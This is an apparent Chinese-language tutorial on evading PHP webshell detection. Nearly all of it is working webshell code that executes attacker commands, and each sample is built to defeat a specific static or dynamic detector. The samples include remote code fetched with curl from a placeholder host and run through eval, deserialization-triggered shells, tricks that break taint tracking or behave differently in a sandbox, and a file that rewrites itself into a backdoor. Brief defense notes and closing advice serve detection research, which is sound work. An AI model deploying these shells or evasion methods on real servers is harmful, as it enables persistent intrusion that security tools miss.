PHP WebShell绕过技术详解
WebShell检测基础
检测原理
WebShell检测主要分为静态检测和动态检测两种方式。
静态检测
通过分析代码的文本特征,识别潜在的恶意代码。主要技术包括:
- 特征匹配:匹配危险函数名、敏感字符串等
- 语义分析:分析代码的语义,识别隐藏的恶意逻辑
- 代码规范:检查代码格式、编码等规范性
动态检测
通过监控代码的执行行为,识别潜在的恶意行为。主要技术包括:
- 污点跟踪:追踪用户输入在代码中的传播
- 行为分析:监控代码的执行行为,识别异常行为
- 沙箱模拟:在隔离环境中执行代码,观察其行为
常见危险函数
代码执行函数
1 2 3 4
| eval() assert() create_function() preg_replace()
|
命令执行函数
1 2 3 4 5 6
| system() exec() shell_exec() passthru() proc_open() popen()
|
文件操作函数
1 2 3 4 5
| file_put_contents() fwrite() file_get_contents() include() require()
|
静态特征绕过
函数名变形
利用PHP对函数名的处理特性,绕过基于函数名的检测。
大小写变形
1 2 3
| EVAL($_POST['cmd']); Eval($_POST['cmd']); eVaL($_POST['cmd']);
|
函数别名
1 2
| mbereg_replace('.*', '\0', $_REQUEST['cmd'], 'e'); mbereg_ireplace('.*', '\0', $_REQUEST['cmd'], 'e');
|
函数重命名
1 2 3 4 5
| use function \assert as test; test($_POST['cmd']);
use function \system as cmd; cmd($_POST['arg']);
|
绕过原理:检测工具基于文档中的函数名建立黑名单,无法识别别名和重命名
防御要点:收集所有函数别名,监控use function语法,使用不区分大小写的匹配
代码结构混淆
通过改变代码结构,绕过基于代码结构的检测。
类继承混淆
1 2 3 4 5 6 7
| class Base{ public function __construct(){ system($_POST['cmd']); } } class Child extends Base{} new Child();
|
参数展开混淆
1 2 3 4 5
| function cmd($a, $b){ return system($a . $b); } $args = ['sys', 'tem']; cmd(...$args);
|
绕过原理:检测工具只分析子类,忽略父类;无法追踪参数展开后的实际值
防御要点:完整分析类继承关系,追踪参数展开
解析器缺陷利用
利用PHP-Parser的解析缺陷,绕过静态检测。
控制字符干扰
1 2 3
| <?php \x00eval($_POST['cmd']); ?>
|
可插入的控制字符:[\x00-\x20]
特殊标签
1 2 3
| <? system($_POST['cmd']); ?> <% system($_POST['cmd']); %> <script language="php">system($_POST['cmd']);</script>
|
绕过原理:PHP-Parser解析失败或无法识别特殊标签,跳过检测
防御要点:处理控制字符,支持所有PHP标签,使用多种解析器交叉验证
动态检测绕过
参数传递绕过
通过非传统的参数传递方式,绕过对常见全局变量的检测。
网络请求引入
1 2 3 4 5 6 7 8 9
| $url = "http://x/1.txt"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); curl_close($ch); eval($output);
|
Meta标签引入
1
| get_meta_tags("http://x/1")["author"](get_meta_tags("http://x/1")["keywords"]);
|
系统状态引入
1
| system(fpm_get_status()["procs"][0]["query-string"]);
|
复杂引用引入
1 2
| $m = ($GLOBALS[GLOBALS]*n[GLOBALS][GLOBALS][GLOBALS][GLOBALS][GLOBALS][_GET][b]); substr(timezone_version_get(), 2)($m);
|
绕过原理:检测工具只检测$_GET、$_POST等全局变量,不对网络请求、系统状态等进行检测
防御要点:监控网络请求,检测外部URL请求,监控系统函数调用
污点跟踪绕过
切断污点跟踪链,使检测工具无法追踪到用户输入。
变量引用切断
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| $b = "111"; $c = "222"; if(get_cfg_var('error_reporting')>0){ $b="#"; } $a = array("one"=>$c, "two"=>&$c); $url = "http://a/usr/".$b."?a=1"; $d = parse_url($url); if($d['query']){ $c="echo 111;"; } else{ $c=$_FILES['useraccount']['name']; } eval($a["two"]);
|
反序列化引用
1 2 3 4 5 6 7 8 9 10 11 12 13
| $s = unserialize('a:2:{i:0;O:8:"stdClass":1:{s:1:"a";i:1;}i:1;r:2;}'); $c = "123"; $arr = get_declared_classes(); $i=0; for($i;$i<count($arr);$i++){ $i++; $s[1]->a=$_GET['a']; if($i<97 || $i>=98){ continue; } $c=$s[0]->a; print(substr(get_declared_classes()[72],4,6)($c)); }
|
绕过原理:通过数组引用、反序列化引用等方式切断污点跟踪链,检测工具无法追踪到用户输入
防御要点:完整追踪变量引用,处理反序列化对象,分析对象引用关系
环境差异利用
利用检测环境与真实环境的差异,构造在不同环境下行为不同的代码。
配置差异
1 2 3 4 5 6 7 8 9 10 11 12 13
| if(get_cfg_var('error_reporting')>0){ $b="#"; } else { $b="?"; } $url = "http://a/usr/".$b."?a=1"; $d = parse_url($url); if($d['query']){ $c="echo 111;"; } else{ $c=$_FILES['useraccount']['name']; } eval($c);
|
SESSION差异
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| session_start(); if(!isset($_SESSION['initialized'])){ $_SESSION['initialized'] = true; $_SESSION['a'] = "#"; } $a = array("one"=>$c, "two"=>&$c); $url = "http://a/usr/".$_SESSION['a']."?a=1"; $d = parse_url($url); if($d['query']){ $c="echo 111;"; } else{ $c=$_FILES['useraccount']['name']; } eval($a["two"]);
|
绕过原理:检测环境未配置error_reporting或没有SESSION,真实环境已配置或有SESSION
防御要点:模拟真实环境,处理环境差异
错误处理绕过
通过错误处理机制,使检测引擎因错误而终止。
错误处理器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| set_error_handler(function($error_no, $error_msg, $error_file, $error_line){ trigger_error("xxxxxx", E_USER_ERROR); }, E_WARNING | E_STRICT);
function xxxe(){ $gen = (function(){ yield 1; yield $_GET[1]; return 3; })(); foreach($gen as $val){ echo 1/$_GET['x']; array_reduce(array(1), join(array_diff(["sys","tem"],[])), ($val)); } } header_register_callback('xxxe');
|
绕过原理:检测时$_GET['x']为0,触发除零错误,终止执行;执行时$_GET['x']为非0,正常执行
防御要点:处理所有可能的错误,不因错误而终止检测
数据结构绕过
堆结构利用
利用堆排序的特性,通过控制参数改变堆结构。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| $obj = new SplMaxHeap(); $obj->insert($_GET['a']); $obj->insert(8); $obj->insert('system'); $obj->insert(7); $obj->insert(0); $i=0; foreach($obj as $number){ $i++; if($i==1){ $a = $number; } if($i==2){ $b = $number; } } $a($b);
|
绕过效果:检测时$_GET['a']为空或正常值,堆结构正常;执行时$_GET['a']为99;ls等特殊值,堆结构改变
防御要点:考虑所有可能的参数值,符号执行分析
优先级队列利用
利用优先级队列的特性,通过控制参数改变优先级。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| $objPQ = new SplPriorityQueue(); $objPQ->insert('m', 1); $objPQ->insert('s', 6); $objPQ->insert('e', 3); $objPQ->insert('s', 4); $objPQ->insert('y', 5); $objPQ->insert('t', $_GET['a']); $objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA); $objPQ->top(); $m=''; $cur = new ErrorException($_GET['b']); while($objPQ->valid()){ $m.=$objPQ->current(); $objPQ->next(); } echo $m($cur->getMessage());
|
绕过效果:检测时$_GET['a']为0,函数名为sysemt;执行时$_GET['a']为3,函数名为system
防御要点:考虑所有可能的参数值,符号执行分析
内存文件利用
利用内存文件对象,避免文件落地。
1 2 3 4
| $a = new SplTempFileObject(1000000); $a->fwrite($_GET['a']); $a->rewind(); substr(get_declared_classes()[72],4,6)($a->fgets());
|
绕过原理:使用SplTempFileObject在内存中创建文件,不存在文件落地,绕过文件检测
防御要点:检测内存文件对象,追踪内存文件内容
高级特性绕过
反射机制
利用PHP的反射机制,动态调用危险函数。
1 2 3 4 5 6
| $reflection = new ReflectionFunction('system'); $reflection->invoke($_POST['cmd']);
$reflection = new ReflectionClass('system'); $method = $reflection->getMethod('__invoke'); $method->invoke(null, $_POST['cmd']);
|
防御要点:监控反射机制的使用,追踪反射调用的目标
闭包与生成器
利用闭包和生成器隐藏恶意代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| $func = function($cmd){ return system($cmd); }; $func($_POST['cmd']);
function gen(){ yield 'sys'; yield 'tem'; } $func = ''; foreach(gen() as $part){ $func .= $part; } $func($_POST['cmd']);
|
防御要点:分析闭包和生成器的内容,追踪其执行
魔术方法
利用魔术方法在特定时机执行恶意代码。
1 2 3 4 5 6 7 8 9 10 11 12 13
| class Shell{ public function __destruct(){ system($_POST['cmd']); } } unserialize($_POST['data']);
class Shell{ public function __wakeup(){ system($_POST['cmd']); } } unserialize($_POST['data']);
|
防御要点:分析魔术方法的内容,监控对象的序列化和反序列化
命名空间与类型
利用命名空间和类型转换特性。
1 2 3 4 5 6 7 8 9 10 11 12
| namespace evil{ function system($cmd){ return \system($cmd); } } use evil\system; system($_POST['cmd']);
function bypass(int $flag){ return $flag; } bypass($_GET['cmd']);
|
防御要点:分析命名空间的使用,追踪跨命名空间的调用;考虑所有可能的类型,类型检查
内置类利用
利用PHP内置类的方法,绕过对危险函数的检测。
1 2 3 4 5 6 7 8 9 10 11 12 13
| trait system{} $a = new JsonException($_GET['a']); $c = "123"; $arr = getmygid(); $i=0; for($i;$i<$arr;$i++){ $i++; if($i<115 || $i>=116){ continue; } $c=$a->getMessage(); print(get_declared_traits()[0]($c)); }
|
绕过原理:定义一个名为system的trait,通过get_declared_traits()获取trait名称,通过JsonException->getMessage()获取参数,分别从危险函数和用户传参两个路径切断污点追踪
防御要点:监控内置类的使用,检测异常的类调用
自我修改
通过修改自身文件,绕过初始检测。
1 2 3 4 5 6
| $s="Declaring file object\n"; $d=$_SERVER['DOCUMENT_ROOT'].$_SERVER['DOCUMENT_URI']; $file = new SplFileObject($d,'w'); $file->fwrite("<?php"." eva".$s[3]); $file->fwrite("(\$_"."GET"."[a]);?>"); include(get_included_files()[0]);
|
绕过原理:上传时文件内容正常,通过检测;执行时修改自身为WebShell,通过include(get_included_files()[0])重新加载自身
防御要点:监控文件修改,实时检测文件内容
防御建议
静态检测防御
全面的函数黑名单:收集所有危险函数及其别名,定期更新黑名单
多解析器交叉验证:使用多种解析器交叉验证,避免单一解析器的缺陷
代码规范化:规范化代码格式,统一处理大小写、编码等
语义分析:理解代码的语义,识别隐藏的恶意逻辑
动态检测防御
完整的污点跟踪:追踪所有变量引用,处理反序列化对象
环境模拟:模拟真实环境,处理环境差异
符号执行:考虑所有可能的参数值,分析所有可能的执行路径
错误处理:处理所有可能的错误,不因错误而终止检测
综合防御
多层防御:静态检测 + 动态检测,行为分析 + 机器学习
持续更新:更新检测规则,学习新型绕过技术
监控告警:监控异常行为,及时响应安全事件
安全开发:遵循安全开发规范,使用安全的函数和库
总结
PHP WebShell绕过技术是一个持续发展的领域,攻击者不断寻找新的绕过方法,防御者需要不断更新检测技术。
关键要点
理解PHP特性:深入理解PHP的各种特性,了解PHP的解析和执行机制
发现检测缺陷:找出静态检测的缺陷,找出动态检测的缺陷
构造绕过Payload:精心构造绕过代码,测试绕过效果
持续对抗:攻击者不断寻找新方法,防御者不断更新技术
防御与对抗
WebShell检测与绕过是一个持续的对抗过程,只有不断学习和更新,才能有效防御各种WebShell攻击。